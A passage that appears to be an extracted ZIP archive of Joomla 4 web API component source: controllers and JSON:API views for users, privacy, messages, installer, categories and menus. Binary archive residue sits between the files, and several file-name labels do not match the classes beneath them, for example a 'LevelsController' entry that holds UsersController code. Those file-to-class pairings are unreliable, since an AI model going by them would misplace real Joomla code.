0 ? $previousOffset : 0; $previousPage->setVar('page', $previousPageQuery); $this->getDocument()->addLink('first', $this->queryEncode((string) $firstPage)) ->addLink('previous', $this->queryEncode((string) $previousPage)); } // Check for next and last pages if ($offset + $limit < $totalItemsCount) { $nextPage = clone $currentUrl; $nextPageQuery = $currentPageQuery; $nextOffset = $currentPageQuery['offset'] + $limit; $nextPageQuery['offset'] = ($nextOffset > ($totalPagesAvailable * $limit)) ? $totalPagesAvailable - $limit : $nextOffset; $nextPage->setVar('page', $nextPageQuery); $lastPage = clone $currentUrl; $lastPageQuery = $currentPageQuery; $lastPageQuery['offset'] = ($totalPagesAvailable - 1) * $limit; $lastPage->setVar('page', $lastPageQuery); $this->getDocument()->addLink('next', $this->queryEncode((string) $nextPage)) ->addLink('last', $this->queryEncode((string) $lastPage)); } $collection = (new Collection($items, new JoomlaSerializer($this->type))); // Set the data into the document and render it $this->getDocument()->setData($collection); return $this->getDocument()->render(); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { $item->id = ExtensionHelper::getExtensionRecord('joomla', 'file')->extension_id; return $item; } } PK!*y Bcomponents/com_contenthistory/src/Controller/HistoryController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Contenthistory\Api\Controller; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\CMS\MVC\Controller\Exception; use Joomla\Component\Contenthistory\Administrator\Model\HistoryModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The history controller * * @since 4.0.0 */ class HistoryController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'history'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'history'; /** * Basic display of a list view * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayList() { $this->modelState->set('type_alias', $this->getTypeAliasFromInput()); $this->modelState->set('type_id', $this->getTypeIdFromInput()); $this->modelState->set('item_id', $this->getTypeAliasFromInput() . '.' . $this->getItemIdFromInput()); $this->modelState->set('list.ordering', 'h.save_date'); $this->modelState->set('list.direction', 'DESC'); return parent::displayList(); } /** * Method to edit an existing record. * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function keep() { /** @var HistoryModel $model */ $model = $this->getModel($this->contentType); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE')); } $recordId = $this->input->getInt('id'); if (!$recordId) { throw new Exception\ResourceNotFound(Text::_('JLIB_APPLICATION_ERROR_RECORD'), 404); } $cid = [$recordId]; if (!$model->keep($cid)) { throw new Exception\Save(Text::plural('COM_CONTENTHISTORY_N_ITEMS_KEEP_TOGGLE', \count($cid))); } return $this; } /** * Get item id from input * * @return string * * @since 4.0.0 */ private function getItemIdFromInput() { return $this->input->exists('id') ? $this->input->get('id') : $this->input->post->get('id'); } /** * Get type id from input * * @return string * * @since 4.0.0 */ private function getTypeIdFromInput() { return $this->input->exists('type_id') ? $this->input->get('type_id') : $this->input->post->get('type_id'); } /** * Get type alias from input * * @return string * * @since 4.0.0 */ private function getTypeAliasFromInput() { return $this->input->exists('type_alias') ? $this->input->get('type_alias') : $this->input->post->get('type_alias'); } } PK!lUU>components/com_contenthistory/src/View/History/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Contenthistory\Api\View\History; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The history view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'ucm_item_id', 'ucm_type_id', 'version_note', 'save_date', 'editor_user_id', 'character_count', 'sha1_hash', 'version_data', 'keep_forever', 'editor', ]; /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { $item->id = $item->version_id; unset($item->version_id); $item->version_data = (array) json_decode($item->version_data, true); return parent::prepareItem($item); } } PK!IKA  <components/com_privacy/src/Controller/RequestsController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Privacy\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\Component\Privacy\Api\View\Requests\JsonapiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The requests controller * * @since 4.0.0 */ class RequestsController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'requests'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'requests'; /** * Export request data * * @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function export($id = null) { if ($id === null) { $id = $this->input->get('id', 0, 'int'); } $viewType = $this->app->getDocument()->getType(); $viewName = $this->input->get('view', $this->default_view); $viewLayout = $this->input->get('layout', 'default', 'string'); try { /** @var JsonapiView $view */ $view = $this->getView( $viewName, $viewType, '', ['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType] ); } catch (\Exception $e) { throw new \RuntimeException($e->getMessage()); } $model = $this->getModel('export'); try { $modelName = $model->getName(); } catch (\Exception $e) { throw new \RuntimeException($e->getMessage()); } $model->setState($modelName . '.request_id', $id); $view->setModel($model, true); $view->document = $this->app->getDocument(); $view->export(); return $this; } } PK!"#[[<components/com_privacy/src/Controller/ConsentsController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Privacy\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The consents controller * * @since 4.0.0 */ class ConsentsController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'consents'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'consents'; /** * Basic display of an item view * * @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayItem($id = null) { if ($id === null) { $id = $this->input->get('id', 0, 'int'); } $this->input->set('model', $this->contentType); return parent::displayItem($id); } } PK!T'8WW8components/com_privacy/src/View/Requests/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Privacy\Api\View\Requests; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Router\Exception\RouteNotFoundException; use Joomla\CMS\Serializer\JoomlaSerializer; use Joomla\CMS\Uri\Uri; use Joomla\Component\Privacy\Administrator\Model\ExportModel; use Tobscure\JsonApi\Resource; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The requests view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = ['id', 'typeAlias', 'email', 'requested_at', 'status', 'request_type']; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = ['id', 'email', 'requested_at', 'status', 'request_type']; /** * Execute and display a template script. * * @return string * * @since 4.0.0 */ public function export() { /** @var ExportModel $model */ $model = $this->getModel(); $exportData = $model->collectDataForExportRequest(); if ($exportData == false) { throw new RouteNotFoundException('Item does not exist'); } $serializer = new JoomlaSerializer('export'); $element = (new Resource($exportData, $serializer)); $this->getDocument()->setData($element); $this->getDocument()->addLink('self', Uri::current()); return $this->getDocument()->render(); } } PK!  8components/com_privacy/src/View/Consents/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Privacy\Api\View\Consents; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Router\Exception\RouteNotFoundException; use Joomla\CMS\Serializer\JoomlaSerializer; use Joomla\CMS\Uri\Uri; use Tobscure\JsonApi\Resource; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The consents view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'user_id', 'state', 'created', 'subject', 'body', 'remind', 'token', 'username', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'user_id', 'state', 'created', 'subject', 'body', 'remind', 'token', 'username', ]; /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { $id = $this->get('state')->get($this->getName() . '.id'); if ($id === null) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_ITEMID_MISSING')); } /** @var \Joomla\CMS\MVC\Model\ListModel $model */ $model = $this->getModel(); $displayItem = null; foreach ($model->getItems() as $item) { $item = $this->prepareItem($item); if ($item->id === $id) { $displayItem = $item; break; } } if ($displayItem === null) { throw new RouteNotFoundException('Item does not exist'); } // Check for errors. if (\count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } if ($this->type === null) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_CONTENT_TYPE_MISSING')); } $serializer = new JoomlaSerializer($this->type); $element = (new Resource($displayItem, $serializer)) ->fields([$this->type => $this->fieldsToRenderItem]); $this->getDocument()->setData($element); $this->getDocument()->addLink('self', Uri::current()); return $this->getDocument()->render(); } } PK!TQJJ8components/com_users/src/Controller/LevelsController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Api\Controller; use Joomla\CMS\Date\Date; use Joomla\CMS\Filter\InputFilter; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\Component\Fields\Administrator\Helper\FieldsHelper; use Tobscure\JsonApi\Exception\InvalidParameterException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The users controller * * @since 4.0.0 */ class UsersController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'users'; /** * The default view for the display method. * * @var string * @since 4.0.0 */ protected $default_view = 'users'; /** * Method to allow extended classes to manipulate the data to be saved for an extension. * * @param array $data An array of input data. * * @return array * * @since 4.0.0 */ protected function preprocessSaveData(array $data): array { foreach (FieldsHelper::getFields('com_users.user') as $field) { if (isset($data[$field->name])) { !isset($data['com_fields']) && $data['com_fields'] = []; $data['com_fields'][$field->name] = $data[$field->name]; unset($data[$field->name]); } } if ($this->input->getMethod() === 'PATCH') { $body = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array'); if (!\array_key_exists('password', $body)) { unset($data['password']); } } if ($this->input->getMethod() === 'POST') { if (isset($data['password'])) { $data['password2'] = $data['password']; } } return $data; } /** * User list view with filtering of data * * @return static A BaseController object to support chaining. * * @since 4.0.0 * @throws InvalidParameterException */ public function displayList() { $apiFilterInfo = $this->input->get('filter', [], 'array'); $filter = InputFilter::getInstance(); if (\array_key_exists('state', $apiFilterInfo)) { $this->modelState->set('filter.state', $filter->clean($apiFilterInfo['state'], 'INT')); } if (\array_key_exists('active', $apiFilterInfo)) { $this->modelState->set('filter.active', $filter->clean($apiFilterInfo['active'], 'INT')); } if (\array_key_exists('groupid', $apiFilterInfo)) { $this->modelState->set('filter.group_id', $filter->clean($apiFilterInfo['groupid'], 'INT')); } if (\array_key_exists('search', $apiFilterInfo)) { $this->modelState->set('filter.search', $filter->clean($apiFilterInfo['search'], 'STRING')); } if (\array_key_exists('registrationDateStart', $apiFilterInfo)) { $registrationStartInput = $filter->clean($apiFilterInfo['registrationDateStart'], 'STRING'); $registrationStartDate = Date::createFromFormat(\DateTimeInterface::RFC3339, $registrationStartInput); if (!$registrationStartDate) { // Send the error response $error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'registrationDateStart'); throw new InvalidParameterException($error, 400, null, 'registrationDateStart'); } $this->modelState->set('filter.registrationDateStart', $registrationStartDate); } if (\array_key_exists('registrationDateEnd', $apiFilterInfo)) { $registrationEndInput = $filter->clean($apiFilterInfo['registrationDateEnd'], 'STRING'); $registrationEndDate = Date::createFromFormat(\DateTimeInterface::RFC3339, $registrationEndInput); if (!$registrationEndDate) { // Send the error response $error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'registrationDateEnd'); throw new InvalidParameterException($error, 400, null, 'registrationDateEnd'); } $this->modelState->set('filter.registrationDateEnd', $registrationEndDate); } elseif ( \array_key_exists('registrationDateStart', $apiFilterInfo) && !\array_key_exists('registrationDateEnd', $apiFilterInfo) ) { // If no end date specified the end date is now $this->modelState->set('filter.registrationDateEnd', new Date()); } if (\array_key_exists('lastVisitDateStart', $apiFilterInfo)) { $lastVisitStartInput = $filter->clean($apiFilterInfo['lastVisitDateStart'], 'STRING'); $lastVisitStartDate = Date::createFromFormat(\DateTimeInterface::RFC3339, $lastVisitStartInput); if (!$lastVisitStartDate) { // Send the error response $error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'lastVisitDateStart'); throw new InvalidParameterException($error, 400, null, 'lastVisitDateStart'); } $this->modelState->set('filter.lastVisitStart', $lastVisitStartDate); } if (\array_key_exists('lastVisitDateEnd', $apiFilterInfo)) { $lastVisitEndInput = $filter->clean($apiFilterInfo['lastVisitDateEnd'], 'STRING'); $lastVisitEndDate = Date::createFromFormat(\DateTimeInterface::RFC3339, $lastVisitEndInput); if (!$lastVisitEndDate) { // Send the error response $error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'lastVisitDateEnd'); throw new InvalidParameterException($error, 400, null, 'lastVisitDateEnd'); } $this->modelState->set('filter.lastVisitEnd', $lastVisitEndDate); } elseif ( \array_key_exists('lastVisitDateStart', $apiFilterInfo) && !\array_key_exists('lastVisitDateEnd', $apiFilterInfo) ) { // If no end date specified the end date is now $this->modelState->set('filter.lastVisitEnd', new Date()); } return parent::displayList(); } } PK!HJHH8components/com_users/src/Controller/GroupsController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Api\View\Users; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Router\Exception\RouteNotFoundException; use Joomla\Component\Fields\Administrator\Helper\FieldsHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The users view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'groups', 'name', 'username', 'email', 'registerDate', 'lastvisitDate', 'lastResetTime', 'resetCount', 'sendEmail', 'block', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'name', 'username', 'email', 'group_count', 'group_names', 'registerDate', 'lastvisitDate', 'lastResetTime', 'resetCount', 'sendEmail', 'block', ]; /** * Execute and display a template script. * * @param array|null $items Array of items * * @return string * * @since 4.0.0 */ public function displayList(array $items = null) { foreach (FieldsHelper::getFields('com_users.user') as $field) { $this->fieldsToRenderList[] = $field->name; } return parent::displayList(); } /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { foreach (FieldsHelper::getFields('com_users.user') as $field) { $this->fieldsToRenderItem[] = $field->name; } return parent::displayItem(); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { if (empty($item->username)) { throw new RouteNotFoundException('Item does not exist'); } foreach (FieldsHelper::getFields('com_users.user', $item, true) as $field) { $item->{$field->name} = $field->apivalue ?? $field->rawvalue; } return parent::prepareItem($item); } } PK!A4components/com_users/src/View/Levels/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Messages\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The messages controller * * @since 4.0.0 */ class MessagesController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'messages'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'messages'; } PK!h^9components/com_messages/src/View/Messages/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Messages\Api\View\Messages; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The messages view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'user_id_from', 'user_id_to', 'date_time', 'priority', 'subject', 'message', 'state', 'user_from', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'user_id_from', 'user_id_to', 'date_time', 'priority', 'subject', 'message', 'state', 'user_from', ]; /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { $item->id = $item->message_id; unset($item->message_id); return parent::prepareItem($item); } } PK!m♽<components/com_installer/src/Controller/ManageController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Installer\Api\Controller; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\ApiController; use Tobscure\JsonApi\Exception\InvalidParameterException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The manage controller * * @since 4.0.0 */ class ManageController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'manage'; /** * The default view for the display method. * * @var string * @since 4.0.0 */ protected $default_view = 'manage'; /** * Extension list view amended to add filtering of data * * @return static A BaseController object to support chaining. * * @since 4.0.0 */ public function displayList() { $requestBool = $this->input->get('core', $this->input->get->get('core')); if (!\is_null($requestBool) && $requestBool !== 'true' && $requestBool !== 'false') { // Send the error response $error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'core'); throw new InvalidParameterException($error, 400, null, 'core'); } if (!\is_null($requestBool)) { $this->modelState->set('filter.core', ($requestBool === 'true') ? '1' : '0'); } $this->modelState->set('filter.status', $this->input->get('status', $this->input->get->get('status', null, 'INT'), 'INT')); $this->modelState->set('filter.type', $this->input->get('type', $this->input->get->get('type', null, 'STRING'), 'STRING')); return parent::displayList(); } } PK!zfmm8components/com_installer/src/View/Manage/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Installer\Api\View\Manage; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The manage view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'name', 'type', 'version', 'folder', 'status', 'client_id', ]; /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { $item->id = $item->extension_id; unset($item->extension_id); return $item; } } PK! UUAcomponents/com_categories/src/Controller/CategoriesController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Categories\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\CMS\Table\Category; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The categories controller * * @since 4.0.0 */ class CategoriesController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'categories'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'categories'; /** * Method to allow extended classes to manipulate the data to be saved for an extension. * * @param array $data An array of input data. * * @return array * * @since 4.0.0 */ protected function preprocessSaveData(array $data): array { $extension = $this->getExtensionFromInput(); $data['extension'] = $extension; // TODO: This is a hack to drop the extension into the global input object - to satisfy how state is built // we should be able to improve this in the future $this->input->set('extension', $extension); return $data; } /** * Method to save a record. * * @param integer $recordKey The primary key of the item (if exists) * * @return integer The record ID on success, false on failure * * @since 4.0.6 */ protected function save($recordKey = null) { $recordId = parent::save($recordKey); if (!$recordId) { return $recordId; } $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array'); if (empty($data['location'])) { return $recordId; } /** @var Category $category */ $category = $this->getModel('Category')->getTable('Category'); $category->load((int) $recordId); $reference = $category->parent_id; if (!empty($data['location_reference'])) { $reference = (int) $data['location_reference']; } $category->setLocation($reference, $data['location']); $category->store(); return $recordId; } /** * Basic display of an item view * * @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayItem($id = null) { $this->modelState->set('filter.extension', $this->getExtensionFromInput()); return parent::displayItem($id); } /** * Basic display of a list view * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayList() { $this->modelState->set('filter.extension', $this->getExtensionFromInput()); return parent::displayList(); } /** * Get extension from input * * @return string * * @since 4.0.0 */ private function getExtensionFromInput() { return $this->input->exists('extension') ? $this->input->get('extension') : $this->input->post->get('extension'); } } PK!Su=components/com_categories/src/View/Categories/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Categories\Api\View\Categories; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Router\Exception\RouteNotFoundException; use Joomla\Component\Fields\Administrator\Helper\FieldsHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The categories view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'title', 'alias', 'note', 'published', 'access', 'checked_out', 'checked_out_time', 'created_user_id', 'parent_id', 'level', 'extension', 'lft', 'rgt', 'language', 'language_title', 'language_image', 'editor', 'access_level', 'author_name', 'count_trashed', 'count_unpublished', 'count_published', 'count_archived', 'params', 'description', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'title', 'alias', 'note', 'published', 'access', 'checked_out', 'checked_out_time', 'created_user_id', 'parent_id', 'level', 'lft', 'rgt', 'language', 'language_title', 'language_image', 'editor', 'access_level', 'author_name', 'count_trashed', 'count_unpublished', 'count_published', 'count_archived', 'params', 'description', ]; /** * Execute and display a template script. * * @param array|null $items Array of items * * @return string * * @since 4.0.0 */ public function displayList(array $items = null) { foreach (FieldsHelper::getFields('com_content.categories') as $field) { $this->fieldsToRenderList[] = $field->name; } return parent::displayList(); } /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { foreach (FieldsHelper::getFields('com_content.categories') as $field) { $this->fieldsToRenderItem[] = $field->name; } if ($item === null) { /** @var \Joomla\CMS\MVC\Model\AdminModel $model */ $model = $this->getModel(); $item = $this->prepareItem($model->getItem()); } if ($item->id === null) { throw new RouteNotFoundException('Item does not exist'); } if ($item->extension != $this->getModel()->getState('filter.extension')) { throw new RouteNotFoundException('Item does not exist'); } return parent::displayItem($item); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { foreach (FieldsHelper::getFields('com_content.categories', $item, true) as $field) { $item->{$field->name} = $field->apivalue ?? $field->rawvalue; } return parent::prepareItem($item); } } PK!{{7components/com_menus/src/Controller/MenusController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Menus\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The menus controller * * @since 4.0.0 */ class MenusController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'menus'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'menus'; /** * Basic display of an item view * * @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayItem($id = null) { $this->modelState->set('filter.client_id', $this->getClientIdFromInput()); return parent::displayItem($id); } /** * Basic display of a list view * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayList() { $this->modelState->set('filter.client_id', $this->getClientIdFromInput()); return parent::displayList(); } /** * Get client id from input * * @return string * * @since 4.0.0 */ private function getClientIdFromInput() { return $this->input->exists('client_id') ? $this->input->get('client_id') : $this->input->post->get('client_id'); } } PK!/07components/com_menus/src/Controller/ItemsController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Menus\Api\Controller; use Joomla\CMS\Access\Exception\NotAllowed; use Joomla\CMS\Filter\InputFilter; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\CMS\MVC\Model\ListModel; use Joomla\Component\Menus\Api\View\Items\JsonapiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The items controller * * @since 4.0.0 */ class ItemsController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'items'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'items'; /** * Basic display of an item view * * @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayItem($id = null) { $this->modelState->set('filter.client_id', $this->getClientIdFromInput()); return parent::displayItem($id); } /** * Basic display of a list view * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayList() { $apiFilterInfo = $this->input->get('filter', [], 'array'); $filter = InputFilter::getInstance(); if (\array_key_exists('menutype', $apiFilterInfo)) { $this->modelState->set('filter.menutype', $filter->clean($apiFilterInfo['menutype'], 'STRING')); } $this->modelState->set('filter.client_id', $this->getClientIdFromInput()); return parent::displayList(); } /** * Method to add a new record. * * @return void * * @since 4.0.0 * @throws NotAllowed * @throws \RuntimeException */ public function add() { $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array'); if (isset($data['menutype'])) { $this->input->set('menutype', $data['menutype']); $this->input->set('com_menus.items.menutype', $data['menutype']); } isset($data['type']) && $this->input->set('type', $data['type']); isset($data['parent_id']) && $this->input->set('parent_id', $data['parent_id']); isset($data['link']) && $this->input->set('link', $data['link']); $this->input->set('id', '0'); parent::add(); } /** * Method to edit an existing record. * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function edit() { $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array'); if (isset($data['menutype'])) { $this->input->set('menutype', $data['menutype']); $this->input->set('com_menus.items.menutype', $data['menutype']); } isset($data['type']) && $this->input->set('type', $data['type']); isset($data['parent_id']) && $this->input->set('parent_id', $data['parent_id']); isset($data['link']) && $this->input->set('link', $data['link']); return parent::edit(); } /** * Return menu items types * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function getTypes() { $viewType = $this->app->getDocument()->getType(); $viewName = $this->input->get('view', $this->default_view); $viewLayout = $this->input->get('layout', 'default', 'string'); try { /** @var JsonapiView $view */ $view = $this->getView( $viewName, $viewType, '', ['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType] ); } catch (\Exception $e) { throw new \RuntimeException($e->getMessage()); } /** @var ListModel $model */ $model = $this->getModel('menutypes', '', ['ignore_request' => true]); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE')); } $model->setState('client_id', $this->getClientIdFromInput()); $view->setModel($model, true); $view->document = $this->app->getDocument(); $view->displayListTypes(); return $this; } /** * Get client id from input * * @return string * * @since 4.0.0 */ private function getClientIdFromInput() { return $this->input->exists('client_id') ? $this->input->get('client_id') : $this->input->post->get('client_id'); } } PK!?3components/com_menus/src/View/Items/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Menus\Api\View\Items; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Serializer\JoomlaSerializer; use Joomla\CMS\Uri\Uri; use Tobscure\JsonApi\Collection; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The items view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'parent_id', 'level', 'lft', 'rgt', 'alias', 'typeAlias', 'menutype', 'title', 'note', 'path', 'link', 'type', 'published', 'component_id', 'checked_out', 'checked_out_time', 'browserNav', 'access', 'img', 'template_style_id', 'params', 'home', 'language', 'client_id', 'publish_up', 'publish_down', 'request', 'associations', 'menuordering', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'menutype', 'title', 'alias', 'note', 'path', 'link', 'type', 'parent_id', 'level', 'a.published', 'component_id', 